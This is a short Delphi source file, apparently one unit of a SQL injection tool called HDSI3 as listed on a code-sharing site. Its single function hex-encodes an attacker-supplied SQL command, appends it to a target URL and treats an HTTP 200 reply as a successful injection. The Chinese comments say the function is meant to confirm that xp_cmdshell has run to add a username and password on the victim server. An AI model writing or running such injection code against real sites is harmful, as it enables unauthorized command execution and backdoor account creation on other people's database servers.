nb_sqlscript.pas

来自「sql inject HDSI3--delphi.rar」· PAS 代码 · 共 30 行

unit nb_sqlScript;

interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms;
function NbSqlCmd_Shell(URL: string;SQLCMD: string ): Boolean; //判断是否成功执行xp_cmdshell的添加用户名和密码

implementation
uses
 define_Unit, main_unit;

 //判断是否成功执行xp_cmdshell的添加用户名和密码,Url--提交注入的url；SQLCMD--利用xp_comshell执行的sql命令
 function NbSqlCmd_Shell(URL: string;SQLCMD: string): Boolean;
 var
 tempCMD,strURL:string;
 begin
  tempCMD:=SQLINJECTIONUrlToHex(SQLCMD+'--',0);
 strURL:=URL+tempCMD;
// if Main_unit.GetWebBool(strURL) then
    if define_unit.GetURLCode(strURL)=200   then
    Result:=true
  else
    Result:=false;
 end;

//************************************************************

end.